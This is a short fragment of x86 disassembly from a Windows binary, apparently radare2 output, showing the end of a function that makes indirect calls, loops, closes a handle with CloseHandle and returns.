call dword [ebp + 0x1c]
add esp, 0x10
test al, al
je 0x405405
push 0xa
call edi
push esi
call edi
cmp ebx, esi
ja 0x40534d
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 0x1c
xor al, al
jmp 0x405410